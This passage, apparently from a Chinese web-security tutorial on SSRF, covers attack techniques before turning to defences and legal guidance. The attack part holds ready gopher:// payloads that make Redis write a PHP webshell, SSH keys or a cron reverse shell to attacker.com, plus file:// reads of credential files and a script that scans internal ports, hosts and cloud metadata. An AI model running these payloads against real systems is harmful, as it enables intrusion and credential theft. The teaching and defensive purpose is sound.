\n \u00a0 \u00a0 \u00a0 \u00a0 \u2191 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u2191
\n \u00a0 \u00a0 \u7528\u6237\u540d\u90e8\u5206 \u00a0 \u5b9e\u9645\u76ee\u6807
\n\u200b
\nURL \u683c\u5f0f：scheme:\/\/user:pass@host:port\/path
\n@ \u524d\u9762\u662f\u7528\u6237\u540d（\u88ab\u5ffd\u7565），@ \u540e\u9762\u662f\u5b9e\u9645\u76ee\u6807
\n\u4f46\u6709\u4e9b\u6821\u9a8c\u53ea\u770b @ \u524d\u9762，\u8ba4\u4e3a\u662f evil.com \u2192 \u901a\u8fc7\u6821\u9a8c
\n\u5b9e\u9645\u8bf7\u6c42\u7684\u662f 127.0.0.1<\/p>\n 4.3 DNS \u91cd\u7ed1\u5b9a\u8be6\u89e3<\/h4>\n\u5f53\u670d\u52a1\u7aef\u5148\u6821\u9a8c\u57df\u540d\u89e3\u6790\u7684 IP，\u518d\u53d1\u8d77\u8bf7\u6c42\u65f6：<\/p>\n 1. \u653b\u51fb\u8005\u6ce8\u518c\u57df\u540d evil.com，DNS TTL \u8bbe\u4e3a 0
\n2. \u7b2c\u4e00\u6b21 DNS \u89e3\u6790：\u8fd4\u56de\u5408\u6cd5\u5916\u7f51 IP（\u5982 1.2.3.4）\u2192 \u901a\u8fc7\u670d\u52a1\u7aef\u6821\u9a8c
\n3. \u670d\u52a1\u7aef\u6821\u9a8c\u901a\u8fc7，\u51c6\u5907\u53d1\u8d77\u8bf7\u6c42
\n4. \u7b2c\u4e8c\u6b21 DNS \u89e3\u6790（\u5b9e\u9645\u8bf7\u6c42\u65f6）：\u8fd4\u56de 127.0.0.1
\n5. \u670d\u52a1\u7aef\u5b9e\u9645\u8bf7\u6c42 127.0.0.1（\u5185\u7f51）<\/p>\n DNS \u91cd\u7ed1\u5b9a\u5de5\u5177：<\/p>\n \n- \n
rbndr.us \u2014 \u5728\u7ebf DNS \u91cd\u7ed1\u5b9a\u670d\u52a1<\/p>\n<\/li>\n - \n
ceye.io \u2014 DNSLog \u5e73\u53f0<\/p>\n<\/li>\n<\/ul>\n \u9632\u5fa1：\u6821\u9a8c\u540e\u76f4\u63a5\u7528\u89e3\u6790\u5230\u7684 IP \u53d1\u8d77\u8fde\u63a5，\u4e0d\u8ba9\u8bf7\u6c42\u518d\u8d70 DNS\u3002<\/p>\n 4.4 302 \u8df3\u8f6c\u7ed5\u8fc7<\/h4>\n\u653b\u51fb\u8005\u642d\u5efa\u4e00\u4e2a\u670d\u52a1\u5668，\u8fd4\u56de 302 \u8df3\u8f6c\u5230\u5185\u7f51\u5730\u5740：<\/p>\n # attacker_server.py
\nfrom flask import Flask, redirect
\napp = Flask(__name__)
\n\u200b
\n@app.route('\/')
\ndef index():
\n \u00a0 \u00a0# \u8df3\u8f6c\u5230\u5185\u7f51\u5730\u5740
\n \u00a0 \u00a0return redirect('http:\/\/127.0.0.1:6379\/')<\/p>\n \u653b\u51fb\u8005\u63d0\u4ea4 url=http:\/\/attacker.com\/：<\/p>\n - \n
\u670d\u52a1\u7aef\u6821\u9a8c attacker.com \u7684 IP（\u5408\u6cd5\u5916\u7f51 IP，\u901a\u8fc7\u6821\u9a8c）<\/p>\n<\/li>\n - \n
\u670d\u52a1\u7aef\u8bf7\u6c42 attacker.com<\/p>\n<\/li>\n - \n
attacker.com \u8fd4\u56de 302 \u8df3\u8f6c\u5230 http:\/\/127.0.0.1:6379\/<\/p>\n<\/li>\n - \n
\u670d\u52a1\u7aef\u8ddf\u968f\u8df3\u8f6c，\u8bf7\u6c42\u4e86\u5185\u7f51 Redis<\/p>\n<\/li>\n 4.5 Gopher \u534f\u8bae \u2014\u2014 \u7ec8\u6781\u6b66\u5668<\/h4>\ngopher:\/\/ \u53ef\u53d1\u9001\u4efb\u610f TCP \u6570\u636e\u5305，\u6253\u5185\u7f51\u670d\u52a1\u3002<\/p>\n \u653b\u51fb\u5185\u7f51 Redis \u5199 WebShell：<\/p>\n \u7b49\u4ef7 Redis \u547d\u4ee4：<\/p>\n FLUSHALL \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 # \u6e05\u7a7a\u6570\u636e\u5e93
\nSET 1 "<?php @eval($_POST[cmd]);?>" \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 # \u5199\u5165 WebShell \u5185\u5bb9
\nCONFIG SET dir \/var\/www\/html \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 # \u8bbe\u7f6e\u4fdd\u5b58\u76ee\u5f55
\nCONFIG SET dbfilename shell.php \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 # \u8bbe\u7f6e\u4fdd\u5b58\u6587\u4ef6\u540d
\nSAVE \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 # \u4fdd\u5b58\u5230\u78c1\u76d8<\/p>\n Redis \u4f7f\u7528 RESP（REdis Serialization Protocol）\u534f\u8bae：<\/p>\n *1\\\\r\\\\n \u00a0 \u00a0 \u00a0 \u2192 1\u4e2a\u53c2\u6570\u7684\u547d\u4ee4
\n$8\\\\r\\\\n \u00a0 \u00a0 \u00a0 \u2192 \u4e0b\u4e00\u4e2a\u5b57\u7b26\u4e32\u957f\u5ea68
\nflushall\\\\r\\\\n \u2192 \u547d\u4ee4\u540d<\/p>\n \u8f6c\u6362\u4e3a gopher payload（URL \u7f16\u7801）：<\/p>\n gopher:\/\/127.0.0.1:6379\/_*1%0d%0a$8%0d%0aflushall%0d%0a
\n*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$30%0d%0a<?php @eval($_POST[cmd]);?>%0d%0a
\n*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$13%0d%0a\/var\/www\/html%0d%0a
\n*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$9%0d%0ashell.php%0d%0a
\n*1%0d%0a$4%0d%0asave%0d%0a<\/p>\n \n- \n
%0d%0a = \\\\r\\\\n（Redis \u534f\u8bae\u6362\u884c）<\/p>\n<\/li>\n - \n
*N = N\u4e2a\u53c2\u6570<\/p>\n<\/li>\n - \n
$N = \u4e0b\u4e00\u4e2a\u5b57\u7b26\u4e32\u957f\u5ea6\u4e3aN<\/p>\n<\/li>\n<\/ul>\n \u653b\u51fb\u5185\u7f51 Redis \u5199 SSH \u516c\u94a5：<\/p>\n FLUSHALL
\nSET 1 "ssh-rsa AAAA…\u653b\u51fb\u8005\u516c\u94a5…"
\nCONFIG SET dir \/root\/.ssh
\nCONFIG SET dbfilename authorized_keys
\nSAVE<\/p>\n \u653b\u51fb\u5185\u7f51 Redis \u5199\u8ba1\u5212\u4efb\u52a1：<\/p>\n SET 1 "\\\\n\\\\n*\/1 * * * * bash -i >& \/dev\/tcp\/attacker.com\/4444 0>&1\\\\n\\\\n"
\nCONFIG SET dir \/var\/spool\/cron
\nCONFIG SET dbfilename root
\nSAVE<\/p>\n \u653b\u51fb\u5185\u7f51 MySQL：\u6784\u9020 MySQL \u534f\u8bae\u63e1\u624b\u5305\u548c\u67e5\u8be2\u8bed\u53e5\u3002<\/p>\n \u653b\u51fb\u5185\u7f51 FastCGI：\u6784\u9020 FastCGI \u534f\u8bae\u5305，\u8ba9 PHP-FPM \u6267\u884c\u4efb\u610f\u4ee3\u7801\u3002<\/p>\n 4.6 file \u534f\u8bae\u8bfb\u654f\u611f\u6587\u4ef6<\/h4>\nfile:\/\/\/etc\/passwd \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 # \u7528\u6237\u5217\u8868
\nfile:\/\/\/etc\/shadow \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 # \u5bc6\u7801\u54c8\u5e0c（\u9700 root）
\nfile:\/\/\/proc\/self\/environ \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 # \u73af\u5883\u53d8\u91cf（\u53ef\u80fd\u542b\u5bc6\u94a5）
\nfile:\/\/\/proc\/self\/cmdline \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 # \u8fdb\u7a0b\u542f\u52a8\u547d\u4ee4
\nfile:\/\/\/var\/www\/html\/config.php \u00a0 \u00a0 \u00a0 # \u5e94\u7528\u914d\u7f6e（\u6570\u636e\u5e93\u5bc6\u7801）
\nfile:\/\/\/var\/www\/html\/.env \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 # Laravel \u73af\u5883\u914d\u7f6e
\nfile:\/\/\/root\/.ssh\/id_rsa \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 # SSH \u79c1\u94a5
\nfile:\/\/\/c:\/windows\/win.ini \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 # Windows \u7cfb\u7edf\u6587\u4ef6<\/p>\n 4.7 SSRF \u81ea\u52a8\u5316\u63a2\u6d4b\u811a\u672c<\/h4>\nimport requests
\nimport time
\n\u200b
\ntarget = "http:\/\/localhost:8080\/fetch.php?url="
\n\u200b
\n# \u63a2\u6d4b\u5e38\u89c1\u5185\u7f51\u7aef\u53e3
\nports = [22, 80, 443, 3306, 6379, 8080, 8443, 9200, 11211, 27017]
\nfor port in ports:
\n \u00a0 \u00a0url = f"{target}http:\/\/127.0.0.1:{port}\/"
\n \u00a0 \u00a0try:
\n \u00a0 \u00a0 \u00a0 \u00a0start = time.time()
\n \u00a0 \u00a0 \u00a0 \u00a0r = requests.get(url, timeout=3)
\n \u00a0 \u00a0 \u00a0 \u00a0elapsed = time.time() – start
\n \u00a0 \u00a0 \u00a0 \u00a0print(f"[+] Port {port}: {r.status_code} ({elapsed:.1f}s) – {r.text[:80]}")
\n \u00a0 \u00a0except requests.exceptions.ConnectionError:
\n \u00a0 \u00a0 \u00a0 \u00a0print(f"[-] Port {port}: \u5173\u95ed")
\n \u00a0 \u00a0except requests.exceptions.Timeout:
\n \u00a0 \u00a0 \u00a0 \u00a0print(f"[!] Port {port}: \u8d85\u65f6（\u53ef\u80fd\u5f00\u653e，\u9700\u8fdb\u4e00\u6b65\u63a2\u6d4b）")
\n\u200b
\n# \u626b\u63cf\u5185\u7f51\u7f51\u6bb5
\nprint("\\\\n=== \u5185\u7f51\u4e3b\u673a\u626b\u63cf ===")
\nfor i in range(1, 255):
\n \u00a0 \u00a0url = f"{target}http:\/\/192.168.1.{i}\/"
\n \u00a0 \u00a0try:
\n \u00a0 \u00a0 \u00a0 \u00a0r = requests.get(url, timeout=1)
\n \u00a0 \u00a0 \u00a0 \u00a0if r.status_code == 200:
\n \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0print(f"[+] 192.168.1.{i}: \u5b58\u6d3b ({r.text[:50]})")
\n \u00a0 \u00a0except:
\n \u00a0 \u00a0 \u00a0 \u00a0pass
\n\u200b
\n# \u8bfb\u53d6\u4e91\u5143\u6570\u636e
\nprint("\\\\n=== \u4e91\u5143\u6570\u636e ===")
\ncloud_urls = [
\n \u00a0 ("AWS", "http:\/\/169.254.169.254\/latest\/meta-data\/"),
\n \u00a0 ("\u963f\u91cc\u4e91", "http:\/\/100.100.100.200\/latest\/meta-data\/"),
\n]
\nfor name, cloud_url in cloud_urls:
\n \u00a0 \u00a0url = f"{target}{cloud_url}"
\n \u00a0 \u00a0try:
\n \u00a0 \u00a0 \u00a0 \u00a0r = requests.get(url, timeout=3)
\n \u00a0 \u00a0 \u00a0 \u00a0if r.status_code == 200 and r.text:
\n \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0print(f"[+] {name} \u5143\u6570\u636e: {r.text[:100]}")
\n \u00a0 \u00a0except:
\n \u00a0 \u00a0 \u00a0 \u00a0pass<\/p>\n 4.8 SSRF \u5de5\u5177<\/h4>\n# SSRFmap
\npython3 ssrfmap.py -r request.txt -p url -m readfiles
\n\u200b
\n# Gopherus（\u751f\u6210 gopher payload）
\npython3 gopherus.py –exploit redis
\n\u200b
\n# server-side-request-forgery（\u81ea\u52a8\u5316\u68c0\u6d4b）
\n# \u4f7f\u7528 BurpSuite \u63d2\u4ef6 Collaborator \u68c0\u6d4b Blind SSRF<\/p>\n 4.9 SSRF \u6d4b\u8bd5\u65b9\u6cd5\u8bba<\/h4>\n\u6b65\u9aa41：\u8bc6\u522b\u53ef\u63a7 URL \u8f93\u5165\u70b9
\n – \u5168\u5c40\u641c\u7d22 url \u53c2\u6570
\n – \u68c0\u67e5\u56fe\u7247\u9884\u89c8\u3001\u7ffb\u8bd1\u3001\u5bfc\u5165\u7b49\u529f\u80fd
\n – \u68c0\u67e5 Webhook \u914d\u7f6e
\n\u200b
\n\u6b65\u9aa42：\u6d4b\u8bd5\u534f\u8bae
\n – http:\/\/ \u2192 \u63a2\u6d4b\u5185\u7f51
\n – file:\/\/ \u2192 \u8bfb\u6587\u4ef6
\n – gopher:\/\/ \u2192 \u6253\u5185\u7f51\u670d\u52a1
\n – dict:\/\/ \u2192 \u7aef\u53e3\u63a2\u6d4b
\n\u200b
\n\u6b65\u9aa43：\u7ed5\u8fc7 IP \u9650\u5236
\n – \u5341\u8fdb\u5236\/\u516b\u8fdb\u5236\/\u5341\u516d\u8fdb\u5236
\n – DNS \u91cd\u7ed1\u5b9a
\n – 302 \u8df3\u8f6c
\n\u200b
\n\u6b65\u9aa44：\u6df1\u5165\u5229\u7528
\n – \u4e91\u5143\u6570\u636e\u6cc4\u9732
\n – \u5185\u7f51 Redis\/MySQL \u653b\u51fb
\n – \u5185\u7f51 Web \u5e94\u7528\u653b\u51fb<\/p>\n
\n\u7b2c\u4e94\u7ae0：\u9632\u5fa1\u4e0e\u907f\u9669<\/h3>\n5.1 \u767d\u540d\u5355\u9650\u5236\u76ee\u6807（\u6700\u53ef\u9760）<\/h4>\nfrom urllib.parse import urlparse
\n\u200b
\nALLOWED_DOMAINS = {'api.partner.com', 'cdn.example.com'}
\nALLOWED_SCHEMES = {'http', 'https'} \u00a0 \u00a0# \u7981\u6b62 file\/gopher\/dict
\n\u200b
\ndef is_safe_url(url):
\n \u00a0 \u00a0p = urlparse(url)
\n\u200b
\n \u00a0 \u00a0# 1. \u53ea\u5141\u8bb8 http\/https \u534f\u8bae
\n \u00a0 \u00a0if p.scheme not in ALLOWED_SCHEMES:
\n \u00a0 \u00a0 \u00a0 \u00a0return False, '\u975e\u6cd5\u534f\u8bae'
\n\u200b
\n \u00a0 \u00a0# 2. \u53ea\u5141\u8bb8\u767d\u540d\u5355\u57df\u540d
\n \u00a0 \u00a0if p.hostname not in ALLOWED_DOMAINS:
\n \u00a0 \u00a0 \u00a0 \u00a0return False, '\u975e\u6cd5\u57df\u540d'
\n\u200b
\n \u00a0 \u00a0# 3. \u4e0d\u5141\u8bb8\u5305\u542b @ \u7b26\u53f7（\u9632\u6df7\u6dc6）
\n \u00a0 \u00a0if '@' in url:
\n \u00a0 \u00a0 \u00a0 \u00a0return False, 'URL \u5305\u542b\u975e\u6cd5\u5b57\u7b26'
\n\u200b
\n \u00a0 \u00a0return True, 'OK'<\/p>\n 5.2 \u89e3\u6790\u540e\u6821\u9a8c\u771f\u5b9e IP（\u9632 DNS \u91cd\u7ed1\u5b9a）<\/h4>\nimport ipaddress
\nimport socket
\nfrom urllib.parse import urlparse
\n\u200b
\ndef is_internal_ip(ip_str):
\n \u00a0 \u00a0"""\u5224\u65ad\u662f\u5426\u4e3a\u5185\u7f51\/\u4fdd\u7559 IP"""
\n \u00a0 \u00a0ip = ipaddress.ip_address(ip_str)
\n \u00a0 \u00a0return (
\n \u00a0 \u00a0 \u00a0 \u00a0ip.is_private or \u00a0 \u00a0 \u00a0 \u00a0# 10.x.x.x, 172.16-31.x.x, 192.168.x.x
\n \u00a0 \u00a0 \u00a0 \u00a0ip.is_loopback or \u00a0 \u00a0 \u00a0 # 127.x.x.x
\n \u00a0 \u00a0 \u00a0 \u00a0ip.is_reserved or \u00a0 \u00a0 \u00a0 # \u4fdd\u7559\u5730\u5740
\n \u00a0 \u00a0 \u00a0 \u00a0ip.is_multicast or \u00a0 \u00a0 \u00a0# \u591a\u64ad
\n \u00a0 \u00a0 \u00a0 \u00a0ip.is_link_local or \u00a0 \u00a0 # 169.254.x.x（\u4e91\u5143\u6570\u636e）
\n \u00a0 \u00a0 \u00a0 \u00a0ip in ipaddress.ip_network('100.64.0.0\/10') \u00a0# \u8fd0\u8425\u5546\u5185\u7f51
\n \u00a0 )
\n\u200b
\ndef safe_fetch(url):
\n \u00a0 \u00a0p = urlparse(url)
\n \u00a0 \u00a0if p.scheme not in ('http', 'https'):
\n \u00a0 \u00a0 \u00a0 \u00a0raise ValueError('\u975e\u6cd5\u534f\u8bae')
\n\u200b
\n \u00a0 \u00a0# \u89e3\u6790\u57df\u540d\u83b7\u53d6 IP
\n \u00a0 \u00a0ip = socket.gethostbyname(p.hostname)
\n\u200b
\n \u00a0 \u00a0# \u6821\u9a8c IP \u4e0d\u662f\u5185\u7f51
\n \u00a0 \u00a0if is_internal_ip(ip):
\n \u00a0 \u00a0 \u00a0 \u00a0raise ValueError('\u7981\u6b62\u8bbf\u95ee\u5185\u7f51\u5730\u5740')
\n\u200b
\n \u00a0 \u00a0# \u2705 \u5173\u952e：\u7528 IP \u76f4\u63a5\u8fde\u63a5，\u907f\u514d\u518d\u6b21 DNS \u89e3\u6790（\u9632\u91cd\u7ed1\u5b9a）
\n \u00a0 \u00a0response = requests.get(
\n \u00a0 \u00a0 \u00a0 \u00a0url,
\n \u00a0 \u00a0 \u00a0 \u00a0headers={'Host': p.hostname},
\n \u00a0 \u00a0 \u00a0 \u00a0allow_redirects=False, \u00a0 \u00a0# \u7981\u6b62\u8ddf\u968f\u8df3\u8f6c（\u9632 302 \u7ed5\u8fc7）
\n \u00a0 \u00a0 \u00a0 \u00a0timeout=5
\n \u00a0 )
\n\u200b
\n \u00a0 \u00a0# \u68c0\u67e5\u662f\u5426\u88ab\u91cd\u5b9a\u5411
\n \u00a0 \u00a0if 300 <= response.status_code < 400:
\n \u00a0 \u00a0 \u00a0 \u00a0raise ValueError('\u68c0\u6d4b\u5230\u8df3\u8f6c，\u5df2\u62e6\u622a')
\n\u200b
\n \u00a0 \u00a0return response<\/p>\n 5.3 \u7981\u7528\u5371\u9669\u534f\u8bae<\/h4>\n\u53ea\u5141\u8bb8 http\/https，\u7981\u6b62 file\u3001gopher\u3001dict\u3001ftp：<\/p>\n if p.scheme not in ('http', 'https'):
\n \u00a0 \u00a0raise ValueError('\u53ea\u5141\u8bb8 http\/https \u534f\u8bae')<\/p>\n 5.4 \u7981\u6b62\u8ddf\u968f\u8df3\u8f6c<\/h4>\nresponse = requests.get(url, allow_redirects=False)
\nif 300 <= response.status_code < 400:
\n \u00a0 \u00a0raise ValueError('\u68c0\u6d4b\u5230\u8df3\u8f6c，\u5df2\u62e6\u622a')<\/p>\n 5.5 \u7f51\u7edc\u5c42\u9694\u79bb<\/h4>\n– \u5e94\u7528\u670d\u52a1\u5668\u4e0e\u5185\u7f51\u5173\u952e\u670d\u52a1（Redis\u3001MySQL\u3001\u7ba1\u7406\u9762\u677f）\u7f51\u7edc\u9694\u79bb
\n– \u51fa\u7ad9\u6d41\u91cf\u767d\u540d\u5355：\u53ea\u5141\u8bb8\u8bbf\u95ee\u5fc5\u8981\u7684\u767d\u540d\u5355\u5730\u5740
\n– \u4f7f\u7528\u5b89\u5168\u7ec4\/\u9632\u706b\u5899\u89c4\u5219\u9650\u5236\u51fa\u7ad9
\n– Redis\/Memcached \u4e0d\u76d1\u542c\u516c\u7f51\u63a5\u53e3，\u9700\u8981\u8ba4\u8bc1<\/p>\n 5.6 \u4e91\u73af\u5883\u542f\u7528 IMDSv2<\/h4>\n# \u8bbe\u7f6e IMDSv2 \u4e3a\u5fc5\u9700（PUT \u8bf7\u6c42\u9700\u8981 Token \u5934）
\naws ec2 modify-instance-metadata-options \\\\
\n \u00a0 \u00a0–instance-id i-xxx \\\\
\n \u00a0 \u00a0–http-tokens required \\\\
\n \u00a0 \u00a0–http-endpoint enabled<\/p>\n IMDSv2 \u8981\u6c42\u5148 PUT \u8bf7\u6c42\u83b7\u53d6 Session Token，\u518d\u7528 Token \u8bbf\u95ee\u5143\u6570\u636e\u3002SSRF \u901a\u5e38\u53ea\u80fd\u53d1 GET \u8bf7\u6c42，\u56e0\u6b64 IMDSv2 \u6709\u6548\u7f13\u89e3\u4e86\u5143\u6570\u636e\u6cc4\u9732\u3002<\/p>\n 5.7 \u9632\u5fa1\u603b\u7ed3<\/h4>\n\n\u9632\u5fa1\u5c42\u63aa\u65bd\u6548\u679c\u6ce8\u610f<\/tr>\n \n\n| \u767d\u540d\u5355\u57df\u540d<\/td>\n | \u53ea\u5141\u8bb8\u9884\u5b9a\u4e49\u57df\u540d<\/td>\n | \u2605\u2605\u2605\u2605\u2605<\/td>\n | \u6700\u53ef\u9760<\/td>\n<\/tr>\n | \n| \u6821\u9a8c\u771f\u5b9e IP<\/td>\n | \u89e3\u6790\u540e\u68c0\u67e5\u975e\u5185\u7f51<\/td>\n | \u2605\u2605\u2605\u2605\u2605<\/td>\n | \u9632\u91cd\u7ed1\u5b9a<\/td>\n<\/tr>\n | \n| \u7981\u7528\u5371\u9669\u534f\u8bae<\/td>\n | \u53ea\u5141\u8bb8 http\/https<\/td>\n | \u2605\u2605\u2605\u2605\u2605<\/td>\n | \u9632 file\/gopher<\/td>\n<\/tr>\n | \n| \u7981\u6b62\u8df3\u8f6c<\/td>\n | \u4e0d\u8ddf\u968f 302<\/td>\n | \u2605\u2605\u2605\u2605<\/td>\n | \u9632 302 \u7ed5\u8fc7<\/td>\n<\/tr>\n | \n| \u7f51\u7edc\u9694\u79bb<\/td>\n | \u5185\u7f51\u4e0d\u53ef\u8fbe<\/td>\n | \u2605\u2605\u2605\u2605<\/td>\n | \u67b6\u6784\u5c42<\/td>\n<\/tr>\n | \n| IMDSv2<\/td>\n | \u4e91\u5143\u6570\u636e\u9700 Token<\/td>\n | \u2605\u2605\u2605\u2605<\/td>\n | \u4e91\u73af\u5883\u5fc5\u9700<\/td>\n<\/tr>\n | \n| Redis \u8ba4\u8bc1<\/td>\n | \u8bbe\u7f6e\u5bc6\u7801<\/td>\n | \u2605\u2605\u2605\u2605<\/td>\n | \u5373\u4f7f\u88ab\u6253\u4e5f\u65e0\u6cd5\u64cd\u4f5c<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n5.8 \u5b89\u5168\u7f16\u7801 Checklist<\/h4>\n\n- URL \u662f\u5426\u9650\u5236\u5728\u767d\u540d\u5355\u57df\u540d？<\/li>\n
- \u662f\u5426\u6821\u9a8c\u4e86\u89e3\u6790\u540e\u7684\u771f\u5b9e IP？<\/li>\n
- \u662f\u5426\u7981\u7528\u4e86 file\/gopher\/dict \u534f\u8bae？<\/li>\n
- \u662f\u5426\u7981\u6b62\u4e86 302 \u8df3\u8f6c？<\/li>\n
- \u662f\u5426\u6821\u9a8c\u540e\u76f4\u63a5\u7528 IP \u8fde\u63a5（\u9632 DNS \u91cd\u7ed1\u5b9a）？<\/li>\n
- \u4e91\u73af\u5883\u662f\u5426\u542f\u7528\u4e86 IMDSv2？<\/li>\n
- \u5185\u7f51\u670d\u52a1\u662f\u5426\u7f51\u7edc\u9694\u79bb？<\/li>\n
- Redis\/Memcached \u662f\u5426\u8bbe\u7f6e\u4e86\u8ba4\u8bc1？<\/li>\n
- \u662f\u5426\u6709\u51fa\u7ad9\u6d41\u91cf\u767d\u540d\u5355？<\/li>\n<\/ul>\n
\n\u7b2c\u516d\u7ae0：\u6cd5\u5f8b\u5408\u89c4\u4e0e\u907f\u9669<\/h3>\n6.1 \u5408\u6cd5\u884c\u4e3a<\/h4>\n\n- \n
\u2705 \u5728\u672c\u5730\u9776\u573a\u7ec3\u4e60 SSRF<\/p>\n<\/li>\n - \n
\u2705 \u5bf9\u81ea\u5df1\u62e5\u6709\u7684\u7f51\u7ad9\u6d4b\u8bd5<\/p>\n<\/li>\n - \n
\u2705 \u4e66\u9762\u6388\u6743\u8303\u56f4\u5185\u7684\u6e17\u900f\u6d4b\u8bd5<\/p>\n<\/li>\n - \n
\u2705 \u5728\u81ea\u5df1\u7684\u4e91\u8d26\u53f7\u4e2d\u6d4b\u8bd5\u5143\u6570\u636e<\/p>\n<\/li>\n<\/ul>\n 6.2 \u8fdd\u6cd5\u884c\u4e3a<\/h4>\n\n- \n
\u274c \u5229\u7528 SSRF \u8bbf\u95ee\u4ed6\u4eba\u5185\u7f51<\/p>\n<\/li>\n - \n
\u274c \u7a83\u53d6\u4e91\u5e73\u53f0\u4e34\u65f6\u51ed\u8bc1<\/p>\n<\/li>\n - \n
\u274c \u901a\u8fc7 SSRF \u653b\u51fb\u5185\u7f51\u6570\u636e\u5e93<\/p>\n<\/li>\n - \n
\u274c \u901a\u8fc7 SSRF \u8bfb\u53d6\u4ed6\u4eba\u670d\u52a1\u5668\u6587\u4ef6<\/p>\n<\/li>\n - \n
\u274c \u901a\u8fc7 gopher \u534f\u8bae\u653b\u51fb\u5185\u7f51\u670d\u52a1<\/p>\n<\/li>\n<\/ul>\n 6.3 \u6d89\u53ca\u6cd5\u5f8b<\/h4>\n\n\u6cd5\u5f8b\u6761\u6b3e\u8bf4\u660e\u5211\u7f5a<\/tr>\n \n\n| \u5211\u6cd5<\/td>\n | \u7b2c285\u6761<\/td>\n | \u975e\u6cd5\u4fb5\u5165\/\u83b7\u53d6\u8ba1\u7b97\u673a\u4fe1\u606f\u7cfb\u7edf\u6570\u636e\u7f6a<\/td>\n | \u4e09\u5e74\u4ee5\u4e0b\u81f3\u4e03\u5e74\u4ee5\u4e0b<\/td>\n<\/tr>\n | \n| \u5211\u6cd5<\/td>\n | \u7b2c286\u6761<\/td>\n | \u7834\u574f\u8ba1\u7b97\u673a\u4fe1\u606f\u7cfb\u7edf\u7f6a<\/td>\n | \u4e94\u5e74\u4ee5\u4e0b\u81f3\u4e94\u5e74\u4ee5\u4e0a<\/td>\n<\/tr>\n | \n| \u7f51\u7edc\u5b89\u5168\u6cd5<\/td>\n | \u7b2c27\u6761<\/td>\n | \u4e0d\u5f97\u975e\u6cd5\u4fb5\u5165\u4ed6\u4eba\u7f51\u7edc<\/td>\n | \u2014<\/td>\n<\/tr>\n | \n| \u6570\u636e\u5b89\u5168\u6cd5<\/td>\n | \u76f8\u5173\u6761\u6b3e<\/td>\n | \u975e\u6cd5\u83b7\u53d6\u6570\u636e<\/td>\n | \u2014<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n6.4 \u771f\u5b9e\u6848\u4f8b\u8b66\u793a<\/h4>\n\n- \n
Capital One（2019）：SSRF \u8bfb\u53d6 AWS \u5143\u6570\u636e \u2192 1 \u4ebf\u7528\u6237\u6570\u636e\u6cc4\u9732 \u2192 8000 \u4e07\u7f8e\u5143\u7f5a\u6b3e<\/p>\n<\/li>\n - \n
GitHub（2015）：SSRF \u6f0f\u6d1e\u5bfc\u81f4\u5185\u7f51\u63a2\u6d4b<\/p>\n<\/li>\n - \n
\u591a\u4e2a\u4e91\u5e73\u53f0\u7528\u6237：SSRF + \u5143\u6570\u636e \u2192 \u4e91\u8d44\u6e90\u88ab\u5b8c\u5168\u63a7\u5236<\/p>\n<\/li>\n<\/ul>\n 6.5 \u81ea\u6211\u4fdd\u62a4\u5efa\u8bae<\/h4>\n - \n
SSRF \u7ec3\u4e60\u53ea\u5728\u672c\u5730 Docker \u9776\u573a\u4e2d\u8fdb\u884c<\/p>\n<\/li>\n - \n
\u4e91\u73af\u5883\u6d4b\u8bd5\u53ea\u5728\u81ea\u5df1\u7684\u4e91\u8d26\u53f7\u4e2d\u8fdb\u884c<\/p>\n<\/li>\n - \n
\u53d1\u73b0\u771f\u5b9e\u7f51\u7ad9 SSRF \u2192 \u62a5\u544a SRC，\u4e0d\u81ea\u884c\u63a2\u6d4b\u5185\u7f51<\/p>\n<\/li>\n - \n
\u4e0d\u7a83\u53d6\u4e91\u5e73\u53f0\u4e34\u65f6\u51ed\u8bc1<\/p>\n<\/li>\n - \n
\u4e0d\u7528 gopher \u534f\u8bae\u653b\u51fb\u4ed6\u4eba\u7684\u5185\u7f51\u670d\u52a1<\/p>\n<\/li>\n 6.6 \u6f0f\u6d1e\u62a5\u544a\u6d41\u7a0b<\/h4>\n1. \u53d1\u73b0 SSRF \u2192 \u4e0d\u8981\u5b9e\u9645\u8bbf\u95ee\u5185\u7f51\u670d\u52a1
\n2. \u53ea\u8bc1\u660e SSRF \u5b58\u5728（\u5982\u8bf7\u6c42 DNSLog \u6536\u5230\u56de\u8c03）
\n3. \u622a\u56fe\u63d0\u4ea4\u7ed9\u5382\u5546 SRC
\n4. \u7b49\u5f85\u786e\u8ba4\u548c\u4fee\u590d
\n5. \u4e0d\u8981\u8bfb\u53d6\u4e91\u5143\u6570\u636e\u4e2d\u7684\u51ed\u8bc1<\/p>\n
